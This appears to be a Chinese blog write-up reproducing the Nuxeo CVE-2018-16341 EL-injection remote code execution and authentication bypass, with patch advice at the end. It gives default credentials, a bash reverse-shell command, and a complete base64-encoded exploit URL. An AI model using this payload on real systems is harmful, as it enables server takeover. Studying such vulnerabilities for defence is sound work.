Nuxeo认证绕过和RCE漏洞(CVE-2018-16341)

漏洞描述:

Nuxeo Platform是一款跨平台开源的企业级内容管理系统(CMS)。

nuxeo-jsf-ui组件处理facelet模板不当,当访问的facelet模板不存在时,相关的文件名会输出到错误页面上,而错误页面会当成模板被解析,文件名包含表达式也会被输出同时被解析执行,从而导致远程代码执行漏洞。

复现过程:

1.访问ip:port

2.使用默认密码登陆Administrator/Administrator。

在登陆状态下访问test${11*11}.xhtml,可以看到表达式被执行

3.反弹shell

3.1 本地监听

3.2 bash反弹shell的命令

bash -i >& /dev/tcp/ip/port 0>&1

3.3 base64编码

3.4 poc构造,成功监听

http://ip:port/nuxeo/login.jsp/${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTIxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}",null).waitFor()}.xhtml

如此即可目标虚拟终端控制权限,实现相关操作

4.登录认证绕过

login.jsp/%24%7b%31%31%2a%31%31%7d.xhtml

如此可以绕过登录阶段,获取网站信息

修复建议:

1.补丁

https://github.com/nuxeo/nuxeo/commit/eb54a9145c6d8297eba9d7dafc74556e735fa388#diff-cf2094833ef0eea473d03bf6559f1798R97

这是通过过滤的方式修复的,在getInputStream中,只有当路径中不包含”#”和”$”时才会把路径输出到输入流中,这样就无法执行EL了。

  • 9
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值